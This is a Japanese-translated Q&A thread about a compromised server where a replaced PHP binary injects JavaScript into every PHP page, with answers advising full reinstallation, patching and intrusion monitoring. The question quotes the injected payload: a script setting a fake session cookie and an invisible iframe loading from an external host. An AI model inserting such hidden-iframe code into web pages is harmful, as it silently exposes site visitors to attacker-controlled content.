web-dev-qa-db-ja.com

サーバー全体のJavaScriptインジェクション

更新:サーバーがルート化され、インジェクションが表示される原因となったphp.iniが置き換えられました。それでも、JavaScriptを挿入しているディレクティブを特定できていません。

すべてのPHPファイルとPHPのみにJavaScriptが挿入されているハッキングされたWebサイトのトラブルシューティングを行っています。この注入はIEにも表示されます。経験もあります。以前はインジェクションがありましたが、ほとんどがFTP経由でインジェクションされ、ページ自体で確認できます。これまでのところ、サーバー上でウイルスや悪意のあるプロセスは見られず、PHPインタプリタまたはApacheが何らかの方法でハッキングされました。誰かがこれを以前に見たことがありますか、またはどこを見ればよいか知っていますか?挿入は以下のとおりです。

<script type="text/javascript">
        d=new Date();
        d.setDate(d.getDate()+1);
        document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
      </script><style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://SANITISEDURL.net/ad.jpg?2"></iframe>

これは、PHPファイルに単純なエコーしかないファイルがある場合でも、サーバー上のすべてのWebサイトで発生します。htaccessはそれらすべてに対してクリーンに見えます。サーバーはPHP 5.2.17およびApache 2.2.17。

6
breakingigloo

@esskarの回答に対するコメントに基づいて、サーバーがルート化され、phpバイナリが置き換えられたようです。

他に何が交換されたのかわからないので、最初から再インストールします。残念ながら、ハッキングがいつ発生したか正確に知らない限り、バックアップからデータファイルが流出することに疑念を抱く必要があります。 (そして、ハッキングが何であるか/何であったかを正確に知らないので、私はあなたがそうではないと思います。)

「最初から再インストールする」アプローチの最大の問題は、この攻撃を成功させるための脆弱性とまったく同じであることです。これが起こらないようにするには:

  • すべてのサービスのすべてのパスワードを変更します。
  • すべてのパッケージのすべてのパッチがインストールされていることを確認してください。
  • 使用されていないサービスをシャットダウンします。
  • 実用的な場合は、サービスを複数のサーバーに分割します。リスクの高いサービスを別のサーバーに配置します。
  • 監視(IDS)をセットアップし、その保守を維持することで、別の攻撃が発生した場合に何が起こったのかを知ることができます。
7
bstpierre

シェルを開いてそこからphpを実行し(おそらく単純なHello World)、何が表示されるかを確認します。挿入されたコードを出力する場合、何を修正すべきかがわかります。

編集1:
これまでに見たことがない。私はその前にいくつかのgoogleクエリを実行しましたが、結果は少し小さいですが、それらの結果のほとんどは、aviraからセキュリティアラートを受け取ったページにリンクしています:object <<< JS/Redirector.LC;ウイルス ; JavaスクリプトウイルスJS/Redirector.LCの検出パターンが含まれています

4
esskar

サイト上の悪意のあるものがどのように機能するかを正確に把握しようとするのは、あなたの時間の有効利用ではないかもしれません。あなたがそれをすべて見つけたと確信するのは難しいです。

代わりに、標準的なアドバイスは、侵入前にさかのぼる信頼できるバックアップから再フォーマットして再インストールすることです。これについては、まだまだ多くのことがあります。他の人が書いたことを繰り返すのではなく、質問 "趣味のWebサーバーへの侵入が疑われる場合の対処方法" を紹介します。これは、このトピックをかなりカバーしています。

1
D.W.